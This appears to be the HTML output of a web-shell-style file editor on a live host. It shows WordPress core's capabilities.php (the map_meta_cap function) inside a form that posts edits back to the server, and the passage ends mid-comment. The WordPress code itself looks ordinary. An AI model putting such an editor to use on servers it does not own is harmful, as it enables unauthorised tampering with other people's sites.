<h2>File Contents: /home/planet5/public_html/wp-includes/capabilities.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/capabilities.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Core User Role &amp; Capabilities API
 *
 * @package WordPress
 * @subpackage Users
 */

/**
 * Maps a capability to the primitive capabilities required of the given user to
 * satisfy the capability being checked.
 *
 * This function also accepts an ID of an object to map against if the capability is a meta capability. Meta
 * capabilities such as `edit_post` and `edit_user` are capabilities used by this function to map to primitive
 * capabilities that a user or role requires, such as `edit_posts` and `edit_others_posts`.
 *
 * Example usage:
 *
 *     map_meta_cap( &#039;edit_posts&#039;, $user-&gt;ID );
 *     map_meta_cap( &#039;edit_post&#039;, $user-&gt;ID, $post-&gt;ID );
 *     map_meta_cap( &#039;edit_post_meta&#039;, $user-&gt;ID, $post-&gt;ID, $meta_key );
 *
 * This function does not check whether the user has the required capabilities,
 * it just returns what the required capabilities are.
 *
 * @since 2.0.0
 * @since 4.9.6 Added the `export_others_personal_data`, `erase_others_personal_data`,
 *              and `manage_privacy_options` capabilities.
 * @since 5.1.0 Added the `update_php` capability.
 * @since 5.2.0 Added the `resume_plugin` and `resume_theme` capabilities.
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 * @since 5.7.0 Added the `create_app_password`, `list_app_passwords`, `read_app_password`,
 *              `edit_app_password`, `delete_app_passwords`, `delete_app_password`,
 *              and `update_https` capabilities.
 * @since 6.7.0 Added the `edit_block_binding` capability.
 *
 * @global array $post_type_meta_caps Used to get post type meta capabilities.
 *
 * @param string $cap     Capability being checked.
 * @param int    $user_id User ID.
 * @param mixed  ...$args Optional further parameters, typically starting with an object ID.
 * @return string[] Primitive capabilities required of the user.
 */
function map_meta_cap( $cap, $user_id, ...$args ) {
	$caps = array();

	switch ( $cap ) {
		case &#039;remove_user&#039;:
			// In multisite the user must be a super admin to remove themselves.
			if ( isset( $args[0] ) &amp;&amp; $user_id === (int) $args[0] &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = &#039;remove_users&#039;;
			}
			break;
		case &#039;promote_user&#039;:
		case &#039;add_users&#039;:
			$caps[] = &#039;promote_users&#039;;
			break;
		case &#039;edit_user&#039;:
		case &#039;edit_users&#039;:
			// Non-existent users can&#039;t edit users, not even themselves.
			if ( $user_id &lt; 1 ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			// Allow user to edit themselves.
			if ( &#039;edit_user&#039; === $cap &amp;&amp; isset( $args[0] ) &amp;&amp; $user_id === (int) $args[0] ) {
				break;
			}

			// In multisite the user must have manage_network_users caps. If editing a super admin, the user must be a super admin.
			if ( is_multisite() &amp;&amp; ( ( ! is_super_admin( $user_id ) &amp;&amp; &#039;edit_user&#039; === $cap &amp;&amp; is_super_admin( $args[0] ) ) || ! user_can( $user_id, &#039;manage_network_users&#039; ) ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = &#039;edit_users&#039;; // edit_user maps to edit_users.
			}
			break;
		case &#039;delete_post&#039;:
		case &#039;delete_page&#039;:
			if ( ! isset( $args[0] ) ) {
				if ( &#039;delete_post&#039; === $cap ) {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific post.&#039; );
				} else {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific page.&#039; );
				}

				_doing_it_wrong(
					__FUNCTION__,
					sprintf( $message, &#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039; ),
					&#039;6.1.0&#039;
				);

				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$post = get_post( $args[0] );
			if ( ! $post ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			if ( &#039;revision&#039; === $post-&gt;post_type ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			if ( (int) get_option( &#039;page_for_posts&#039; ) === $post-&gt;ID
				|| (int) get_option( &#039;page_on_front&#039; ) === $post-&gt;ID
			) {
				$caps[] = &#039;manage_options&#039;;
				break;
			}

			$post_type = get_post_type_object( $post-&gt;post_type );
			if ( ! $post_type ) {
				/* translators: 1: Post type, 2: Capability name. */
				$message = __( &#039;The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						$message,
						&#039;&lt;code&gt;&#039; . $post-&gt;post_type . &#039;&lt;/code&gt;&#039;,
						&#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039;
					),
					&#039;4.4.0&#039;
				);

				$caps[] = &#039;edit_others_posts&#039;;
				break;
			}

			if ( ! $post_type-&gt;map_meta_cap ) {
				$caps[] = $post_type-&gt;cap-&gt;$cap;
				// Prior to 3.1 we would re-call map_meta_cap here.
				if ( &#039;delete_post&#039; === $cap ) {
					$cap = $post_type-&gt;cap-&gt;$cap;
				}
				break;
			}

			// If the post author is set and the user is the author...
			if ( $post-&gt;post_author &amp;&amp; $user_id === (int) $post-&gt;post_author ) {
				// If the post is published or scheduled...
				if ( in_array( $post-&gt;post_status, array( &#039;publish&#039;, &#039;future&#039; ), true ) ) {
					$caps[] = $post_type-&gt;cap-&gt;delete_published_posts;
				} elseif ( &#039;trash&#039; === $post-&gt;post_status ) {
					$status = get_post_meta( $post-&gt;ID, &#039;_wp_trash_meta_status&#039;, true );
					if ( in_array( $status, array( &#039;publish&#039;, &#039;future&#039; ), true ) ) {
						$caps[] = $post_type-&gt;cap-&gt;delete_published_posts;
					} else {
						$caps[] = $post_type-&gt;cap-&gt;delete_posts;
					}
				} else {
					// If the post is draft...
					$caps[] = $post_type-&gt;cap-&gt;delete_posts;
				}
			} else {
				// The user is trying to edit someone else&#039;s post.
				$caps[] = $post_type-&gt;cap-&gt;delete_others_posts;
				// The post is published or scheduled, extra cap required.
				if ( in_array( $post-&gt;post_status, array( &#039;publish&#039;, &#039;future&#039; ), true ) ) {
					$caps[] = $post_type-&gt;cap-&gt;delete_published_posts;
				} elseif ( &#039;private&#039; === $post-&gt;post_status ) {
					$caps[] = $post_type-&gt;cap-&gt;delete_private_posts;
				}
			}

			/*
			 * Setting the privacy policy page requires `manage_privacy_options`,
			 * so deleting it should require that too.
			 */
			if ( (int) get_option( &#039;wp_page_for_privacy_policy&#039; ) === $post-&gt;ID ) {
				$caps = array_merge( $caps, map_meta_cap( &#039;manage_privacy_options&#039;, $user_id ) );
			}

			break;
		/*
		 * edit_post breaks down to edit_posts, edit_published_posts, or
		 * edit_others_posts.
		 */
		case &#039;edit_post&#039;:
		case &#039;edit_page&#039;:
			if ( ! isset( $args[0] ) ) {
				if ( &#039;edit_post&#039; === $cap ) {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific post.&#039; );
				} else {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific page.&#039; );
				}

				_doing_it_wrong(
					__FUNCTION__,
					sprintf( $message, &#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039; ),
					&#039;6.1.0&#039;
				);

				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$post = get_post( $args[0] );
			if ( ! $post ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			if ( &#039;revision&#039; === $post-&gt;post_type ) {
				$post = get_post( $post-&gt;post_parent );
				if ( ! $post ) {
					$caps[] = &#039;do_not_allow&#039;;
					break;
				}
			}

			$post_type = get_post_type_object( $post-&gt;post_type );
			if ( ! $post_type ) {
				/* translators: 1: Post type, 2: Capability name. */
				$message = __( &#039;The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						$message,
						&#039;&lt;code&gt;&#039; . $post-&gt;post_type . &#039;&lt;/code&gt;&#039;,
						&#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039;
					),
					&#039;4.4.0&#039;
				);

				$caps[] = &#039;edit_others_posts&#039;;
				break;
			}

			if ( ! $post_type-&gt;map_meta_cap ) {
				$caps[] = $post_type-&gt;cap-&gt;$cap;
				// Prior to 3.1 we would re-call map_meta_cap here.
				if ( &#039;edit_post&#039; === $cap ) {
					$cap = $post_type-&gt;cap-&gt;$cap;
				}
				break;
			}

			// If the post author is set and the user is the author...
			if ( $post-&gt;post_author &amp;&amp; $user_id === (int) $post-&gt;post_author ) {
				// If the post is published or scheduled...
				if ( in_array( $post-&gt;post_status, array( &#039;publish&#039;, &#039;future&#039; ), true ) ) {
					$caps[] = $post_type-&gt;cap-&gt;edit_published_posts;
				} elseif ( &#039;trash&#039; === $post-&gt;post_status ) {
					$status = get_post_meta( $post-&gt;ID, &#039;_wp_trash_meta_status&#039;, true );
					if ( in_array( $status, array( &#039;publish&#039;, &#039;future&#039; ), true ) ) {
						$caps[] = $post_type-&gt;cap-&gt;edit_published_posts;
					} else {
						$caps[] = $post_type-&gt;cap-&gt;edit_posts;
					}
				} else {
					// If the post is draft...
					$caps[] = $post_type-&gt;cap-&gt;edit_posts;
				}
			} else {
				// The user is trying to edit someone else&#039;s post.
				$caps[] = $post_type-&gt;cap-&gt;edit_others_posts;
				// The post is published or scheduled, extra cap required.
				if ( in_array( $post-&gt;post_status, array( &#039;publish&#039;, &#039;future&#039; ), true ) ) {
					$caps[] = $post_type-&gt;cap-&gt;edit_published_posts;
				} elseif ( &#039;private&#039; === $post-&gt;post_status ) {
					$caps[] = $post_type-&gt;cap-&gt;edit_private_posts;
				}
			}

			/*
			 * Setting the privacy policy page requires `manage_privacy_options`,
			 * so editing it should require that too.
			 */
			if ( (int) get_option( &#039;wp_page_for_privacy_policy&#039; ) === $post-&gt;ID ) {
				$caps = array_merge( $caps, map_meta_cap( &#039;manage_privacy_options&#039;, $user_id ) );
			}

			break;
		case &#039;read_post&#039;:
		case &#039;read_page&#039;:
			if ( ! isset( $args[0] ) ) {
				if ( &#039;read_post&#039; === $cap ) {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific post.&#039; );
				} else {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific page.&#039; );
				}

				_doing_it_wrong(
					__FUNCTION__,
					sprintf( $message, &#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039; ),
					&#039;6.1.0&#039;
				);

				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$post = get_post( $args[0] );
			if ( ! $post ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			if ( &#039;revision&#039; === $post-&gt;post_type ) {
				$post = get_post( $post-&gt;post_parent );
				if ( ! $post ) {
					$caps[] = &#039;do_not_allow&#039;;
					break;
				}
			}

			$post_type = get_post_type_object( $post-&gt;post_type );
			if ( ! $post_type ) {
				/* translators: 1: Post type, 2: Capability name. */
				$message = __( &#039;The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						$message,
						&#039;&lt;code&gt;&#039; . $post-&gt;post_type . &#039;&lt;/code&gt;&#039;,
						&#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039;
					),
					&#039;4.4.0&#039;
				);

				$caps[] = &#039;edit_others_posts&#039;;
				break;
			}

			if ( ! $post_type-&gt;map_meta_cap ) {
				$caps[] = $post_type-&gt;cap-&gt;$cap;
				// Prior to 3.1 we would re-call map_meta_cap here.
				if ( &#039;read_post&#039; === $cap ) {
					$cap = $post_type-&gt;cap-&gt;$cap;
				}
				break;
			}

			$status_obj = get_post_status_object( get_post_status( $post ) );
			if ( ! $status_obj ) {
				/* translators: 1: Post status, 2: Capability name. */
				$message = __( &#039;The post status %1$s is not registered, so it may not be reliable to check the capability %2$s against a post with that status.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						$message,
						&#039;&lt;code&gt;&#039; . get_post_status( $post ) . &#039;&lt;/code&gt;&#039;,
						&#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039;
					),
					&#039;5.4.0&#039;
				);

				$caps[] = &#039;edit_others_posts&#039;;
				break;
			}

			if ( $status_obj-&gt;public ) {
				$caps[] = $post_type-&gt;cap-&gt;read;
				break;
			}

			if ( $post-&gt;post_author &amp;&amp; $user_id === (int) $post-&gt;post_author ) {
				$caps[] = $post_type-&gt;cap-&gt;read;
			} elseif ( $status_obj-&gt;private ) {
				$caps[] = $post_type-&gt;cap-&gt;read_private_posts;
			} else {
				$caps = map_meta_cap( &#039;edit_post&#039;, $user_id, $post-&gt;ID );
			}
			break;
		case &#039;publish_post&#039;:
			if ( ! isset( $args[0] ) ) {
				/* translators: %s: Capability name. */
				$message = __( &#039;When checking for the %s capability, you must always check it against a specific post.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf( $message, &#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039; ),
					&#039;6.1.0&#039;
				);

				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$post = get_post( $args[0] );
			if ( ! $post ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$post_type = get_post_type_object( $post-&gt;post_type );
			if ( ! $post_type ) {
				/* translators: 1: Post type, 2: Capability name. */
				$message = __( &#039;The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						$message,
						&#039;&lt;code&gt;&#039; . $post-&gt;post_type . &#039;&lt;/code&gt;&#039;,
						&#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039;
					),
					&#039;4.4.0&#039;
				);

				$caps[] = &#039;edit_others_posts&#039;;
				break;
			}

			$caps[] = $post_type-&gt;cap-&gt;publish_posts;
			break;
		case &#039;edit_post_meta&#039;:
		case &#039;delete_post_meta&#039;:
		case &#039;add_post_meta&#039;:
		case &#039;edit_comment_meta&#039;:
		case &#039;delete_comment_meta&#039;:
		case &#039;add_comment_meta&#039;:
		case &#039;edit_term_meta&#039;:
		case &#039;delete_term_meta&#039;:
		case &#039;add_term_meta&#039;:
		case &#039;edit_user_meta&#039;:
		case &#039;delete_user_meta&#039;:
		case &#039;add_user_meta&#039;:
			$object_type = explode( &#039;_&#039;, $cap )[1];

			if ( ! isset( $args[0] ) ) {
				if ( &#039;post&#039; === $object_type ) {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific post.&#039; );
				} elseif ( &#039;comment&#039; === $object_type ) {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific comment.&#039; );
				} elseif ( &#039;term&#039; === $object_type ) {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific term.&#039; );
				} else {
					/* translators: %s: Capability name. */
					$message = __( &#039;When checking for the %s capability, you must always check it against a specific user.&#039; );
				}

				_doing_it_wrong(
					__FUNCTION__,
					sprintf( $message, &#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039; ),
					&#039;6.1.0&#039;
				);

				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$object_id = (int) $args[0];

			$object_subtype = get_object_subtype( $object_type, $object_id );

			if ( empty( $object_subtype ) ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$caps = map_meta_cap( &quot;edit_{$object_type}&quot;, $user_id, $object_id );

			$meta_key = $args[1] ?? false;

			if ( $meta_key ) {
				$allowed = ! is_protected_meta( $meta_key, $object_type );

				if ( has_filter( &quot;auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}&quot; ) ) {

					/**
					 * Filters whether the user is allowed to edit a specific meta key of a specific object type and subtype.
					 *
					 * The dynamic portions of the hook name, `$object_type`, `$meta_key`,
					 * and `$object_subtype`, refer to the metadata object type (comment, post, term or user),
					 * the meta key value, and the object subtype respectively.
					 *
					 * @since 4.9.8
					 *
					 * @param bool     $allowed   Whether the user can add the object meta. Default false.
					 * @param string   $meta_key  The meta key.
					 * @param int      $object_id Object ID.
					 * @param int      $user_id   User ID.
					 * @param string   $cap       Capability name.
					 * @param string[] $caps      Array of the user&#039;s capabilities.
					 */
					$allowed = apply_filters( &quot;auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}&quot;, $allowed, $meta_key, $object_id, $user_id, $cap, $caps );
				} else {

					/**
					 * Filters whether the user is allowed to edit a specific meta key of a specific object type.
					 *
					 * Return true to have the mapped meta caps from `edit_{$object_type}` apply.
					 *
					 * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered.
					 * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap().
					 *
					 * @since 3.3.0 As `auth_post_meta_{$meta_key}`.
					 * @since 4.6.0
					 *
					 * @param bool     $allowed   Whether the user can add the object meta. Default false.
					 * @param string   $meta_key  The meta key.
					 * @param int      $object_id Object ID.
					 * @param int      $user_id   User ID.
					 * @param string   $cap       Capability name.
					 * @param string[] $caps      Array of the user&#039;s capabilities.
					 */
					$allowed = apply_filters( &quot;auth_{$object_type}_meta_{$meta_key}&quot;, $allowed, $meta_key, $object_id, $user_id, $cap, $caps );
				}

				/**
				 * Filters whether the user is allowed to edit meta for specific object types/subtypes.
				 *
				 * Return true to have the mapped meta caps from `edit_{$object_type}` apply.
				 *
				 * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered.
				 * The dynamic portion of the hook name, `$object_subtype` refers to the object subtype being filtered.
				 * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap().
				 *
				 * @since 4.6.0 As `auth_post_{$post_type}_meta_{$meta_key}`.
				 * @since 4.7.0 Renamed from `auth_post_{$post_type}_meta_{$meta_key}` to
				 *              `auth_{$object_type}_{$object_subtype}_meta_{$meta_key}`.
				 * @deprecated 4.9.8 Use {@see &#039;auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}&#039;} instead.
				 *
				 * @param bool     $allowed   Whether the user can add the object meta. Default false.
				 * @param string   $meta_key  The meta key.
				 * @param int      $object_id Object ID.
				 * @param int      $user_id   User ID.
				 * @param string   $cap       Capability name.
				 * @param string[] $caps      Array of the user&#039;s capabilities.
				 */
				$allowed = apply_filters_deprecated(
					&quot;auth_{$object_type}_{$object_subtype}_meta_{$meta_key}&quot;,
					array( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ),
					&#039;4.9.8&#039;,
					&quot;auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}&quot;
				);

				if ( ! $allowed ) {
					$caps[] = $cap;
				}
			}
			break;
		case &#039;edit_comment&#039;:
			if ( ! isset( $args[0] ) ) {
				/* translators: %s: Capability name. */
				$message = __( &#039;When checking for the %s capability, you must always check it against a specific comment.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf( $message, &#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039; ),
					&#039;6.1.0&#039;
				);

				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$comment = get_comment( $args[0] );
			if ( ! $comment ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$post = get_post( $comment-&gt;comment_post_ID );

			/*
			 * If the post doesn&#039;t exist, we have an orphaned comment.
			 * Fall back to the edit_posts capability, instead.
			 */
			if ( $post ) {
				$caps = map_meta_cap( &#039;edit_post&#039;, $user_id, $post-&gt;ID );
			} else {
				$caps = map_meta_cap( &#039;edit_posts&#039;, $user_id );
			}
			break;
		case &#039;unfiltered_upload&#039;:
			if ( defined( &#039;ALLOW_UNFILTERED_UPLOADS&#039; ) &amp;&amp; ALLOW_UNFILTERED_UPLOADS &amp;&amp; ( ! is_multisite() || is_super_admin( $user_id ) ) ) {
				$caps[] = $cap;
			} else {
				$caps[] = &#039;do_not_allow&#039;;
			}
			break;
		case &#039;edit_css&#039;:
		case &#039;unfiltered_html&#039;:
			// Disallow unfiltered_html for all users, even admins and super admins.
			if ( defined( &#039;DISALLOW_UNFILTERED_HTML&#039; ) &amp;&amp; DISALLOW_UNFILTERED_HTML ) {
				$caps[] = &#039;do_not_allow&#039;;
			} elseif ( is_multisite() &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = &#039;unfiltered_html&#039;;
			}
			break;
		case &#039;edit_files&#039;:
		case &#039;edit_plugins&#039;:
		case &#039;edit_themes&#039;:
			// Disallow the file editors.
			if ( defined( &#039;DISALLOW_FILE_EDIT&#039; ) &amp;&amp; DISALLOW_FILE_EDIT ) {
				$caps[] = &#039;do_not_allow&#039;;
			} elseif ( ! wp_is_file_mod_allowed( &#039;capability_edit_themes&#039; ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} elseif ( is_multisite() &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = $cap;
			}
			break;
		case &#039;update_plugins&#039;:
		case &#039;delete_plugins&#039;:
		case &#039;install_plugins&#039;:
		case &#039;upload_plugins&#039;:
		case &#039;update_themes&#039;:
		case &#039;delete_themes&#039;:
		case &#039;install_themes&#039;:
		case &#039;upload_themes&#039;:
		case &#039;update_core&#039;:
			/*
			 * Disallow anything that creates, deletes, or updates core, plugin, or theme files.
			 * Files in uploads are excepted.
			 */
			if ( ! wp_is_file_mod_allowed( &#039;capability_update_core&#039; ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} elseif ( is_multisite() &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} elseif ( &#039;upload_themes&#039; === $cap ) {
				$caps[] = &#039;install_themes&#039;;
			} elseif ( &#039;upload_plugins&#039; === $cap ) {
				$caps[] = &#039;install_plugins&#039;;
			} else {
				$caps[] = $cap;
			}
			break;
		case &#039;install_languages&#039;:
		case &#039;update_languages&#039;:
			if ( ! wp_is_file_mod_allowed( &#039;can_install_language_pack&#039; ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} elseif ( is_multisite() &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = &#039;install_languages&#039;;
			}
			break;
		case &#039;activate_plugins&#039;:
		case &#039;deactivate_plugins&#039;:
		case &#039;activate_plugin&#039;:
		case &#039;deactivate_plugin&#039;:
			$caps[] = &#039;activate_plugins&#039;;
			if ( is_multisite() ) {
				// update_, install_, and delete_ are handled above with is_super_admin().
				$menu_perms = get_site_option( &#039;menu_items&#039;, array() );
				if ( empty( $menu_perms[&#039;plugins&#039;] ) ) {
					$caps[] = &#039;manage_network_plugins&#039;;
				}
			}
			break;
		case &#039;resume_plugin&#039;:
			$caps[] = &#039;resume_plugins&#039;;
			break;
		case &#039;resume_theme&#039;:
			$caps[] = &#039;resume_themes&#039;;
			break;
		case &#039;delete_user&#039;:
		case &#039;delete_users&#039;:
			// If multisite only super admins can delete users.
			if ( is_multisite() &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = &#039;delete_users&#039;; // delete_user maps to delete_users.
			}
			break;
		case &#039;create_users&#039;:
			if ( ! is_multisite() ) {
				$caps[] = $cap;
			} elseif ( is_super_admin( $user_id ) || get_site_option( &#039;add_new_users&#039; ) ) {
				$caps[] = $cap;
			} else {
				$caps[] = &#039;do_not_allow&#039;;
			}
			break;
		case &#039;manage_links&#039;:
			if ( get_option( &#039;link_manager_enabled&#039; ) ) {
				$caps[] = $cap;
			} else {
				$caps[] = &#039;do_not_allow&#039;;
			}
			break;
		case &#039;customize&#039;:
			$caps[] = &#039;edit_theme_options&#039;;
			break;
		case &#039;delete_site&#039;:
			if ( is_multisite() ) {
				$caps[] = &#039;manage_options&#039;;
			} else {
				$caps[] = &#039;do_not_allow&#039;;
			}
			break;
		case &#039;edit_term&#039;:
		case &#039;delete_term&#039;:
		case &#039;assign_term&#039;:
			if ( ! isset( $args[0] ) ) {
				/* translators: %s: Capability name. */
				$message = __( &#039;When checking for the %s capability, you must always check it against a specific term.&#039; );

				_doing_it_wrong(
					__FUNCTION__,
					sprintf( $message, &#039;&lt;code&gt;&#039; . $cap . &#039;&lt;/code&gt;&#039; ),
					&#039;6.1.0&#039;
				);

				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$term_id = (int) $args[0];
			$term    = get_term( $term_id );
			if ( ! $term || is_wp_error( $term ) ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$tax = get_taxonomy( $term-&gt;taxonomy );
			if ( ! $tax ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			if ( &#039;delete_term&#039; === $cap
				&amp;&amp; ( (int) get_option( &#039;default_&#039; . $term-&gt;taxonomy ) === $term-&gt;term_id
					|| (int) get_option( &#039;default_term_&#039; . $term-&gt;taxonomy ) === $term-&gt;term_id )
			) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}

			$taxo_cap = $cap . &#039;s&#039;;

			$caps = map_meta_cap( $tax-&gt;cap-&gt;$taxo_cap, $user_id, $term_id );

			break;
		case &#039;manage_post_tags&#039;:
		case &#039;edit_categories&#039;:
		case &#039;edit_post_tags&#039;:
		case &#039;delete_categories&#039;:
		case &#039;delete_post_tags&#039;:
			$caps[] = &#039;manage_categories&#039;;
			break;
		case &#039;assign_categories&#039;:
		case &#039;assign_post_tags&#039;:
			$caps[] = &#039;edit_posts&#039;;
			break;
		case &#039;create_sites&#039;:
		case &#039;delete_sites&#039;:
		case &#039;manage_network&#039;:
		case &#039;manage_sites&#039;:
		case &#039;manage_network_users&#039;:
		case &#039;manage_network_plugins&#039;:
		case &#039;manage_network_themes&#039;:
		case &#039;manage_network_options&#039;:
		case &#039;upgrade_network&#039;:
			$caps[] = $cap;
			break;
		case &#039;setup_network&#039;:
			if ( is_multisite() ) {
				$caps[] = &#039;manage_network_options&#039;;
			} else {
				$caps[] = &#039;manage_options&#039;;
			}
			break;
		case &#039;update_php&#039;:
			if ( is_multisite() &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = &#039;update_core&#039;;
			}
			break;
		case &#039;update_https&#039;:
			if ( is_multisite() &amp;&amp; ! is_super_admin( $user_id ) ) {
				$caps[] = &#039;do_not_allow&#039;;
			} else {
				$caps[] = &#039;manage_options&#039;;
				$caps[] = &#039;update_core&#039;;
			}
			break;
		case &#039;export_others_personal_data&#039;:
		case &#039;erase_others_personal_data&#039;:
		case &#039;manage_privacy_options&#039;:
			$caps[] = is_multisite() ? &#039;manage_network&#039; : &#039;manage_options&#039;;
			break;
		case &#039;create_app_password&#039;:
		case &#039;list_app_passwords&#039;:
		case &#039;read_app_password&#039;:
		case &#039;edit_app_password&#039;:
		case &#039;delete_app_passwords&#039;:
		case &#039;delete_app_password&#039;:
			$caps = map_meta_cap( &#039;edit_user&#039;, $user_id, $args[0] );
			break;
		case &#039;edit_block_binding&#039;:
			$block_editor_context = $args[0];
			if ( isset( $block_editor_context-&gt;post ) ) {
				$object_id = $block_editor_context-&gt;post-&gt;ID;
			}
			/*
			 * If the post ID is null, check if the context is the site editor.
			 * Fall back to the edit_theme_options in that case.
			 */
			if ( ! isset( $object_id ) ) {
				if ( ! isset( $block_editor_context-&gt;name ) || &#039;core/edit-site&#039; !== $block_editor_context-&gt;name ) {
					$caps[] = &#039;do_not_allow&#039;;
					break;
				}
				$caps = map_meta_cap( &#039;edit_theme_options&#039;, $user_id );
				break;
			}

			$object_subtype = get_object_subtype( &#039;post&#039;, (int) $object_id );
			if ( empty( $object_subtype ) ) {
				$caps[] = &#039;do_not_allow&#039;;
				break;
			}
			$post_type_object = get_post_type_object( $object_subtype );
			// Initialize empty array if it doesn&#039;t exist.
			if ( ! isset( $post_type_object-&gt;capabilities ) ) {
				$post_type_object-&gt;capabilities = array();
			}
			$post_type_capabilities = get_post_type_capabilities( $post_type_object );
			$caps                   = map_meta_cap( $post_type_capabilities-&gt;edit_post, $user_id, $object_id );
			break;
		default:
			// Handle meta capabilities for custom post types.
			global $post_type_meta_caps;
			if ( isset( $post_type_meta_caps[ $cap ] ) ) {
				return map_meta_cap( $post_type_meta_caps[ $cap ], $user_id, ...$args );
			}

			// Block capabilities map to their post equivalent.
			$block_caps = array(
				&#039;edit_blocks&#039;,
				&#039;edit_others_blocks&#039;,
				&#039;publish_blocks&#039;,
				&#039;read_private_blocks&#039;,
				&#039;delete_blocks&#039;,
				&#039;delete_private_blocks&#039;,
				&#039;delete_published_blocks&#039;,
				&#039;delete_others_blocks&#039;,
				&#039;edit_private_blocks&#039;,
				&#039;edit_published_blocks&#039;,
			);
			if ( in_array( $cap, $block_caps, true ) ) {
				$cap = str_replace( &#039;_blocks&#039;, &#039;_posts&#039;, $cap );
			}

			// If no meta caps match, return the original cap.
			$caps[] = $cap;
	}

	/**
	 * Filters the primitive capabilities required of the given user to satisfy the
	 * capability being checked.
	 *
	 * @since 2.8.0
	 *
	 * @param string[] $caps    Primitive capabilities required of the user.
	 * @param string   $cap     Capability being checked.
	 * @param int      $user_id The user ID.
	 * @param array    $args    Adds context to the capability check, typically
	 *                          starting with an object ID.
	 */
	return apply_filters( &#039;map_meta_cap&#039;, $caps, $cap, $user_id, $args );
}

/**
 * Returns whether the current user has the specified capability.
 *
 * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta
 * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to
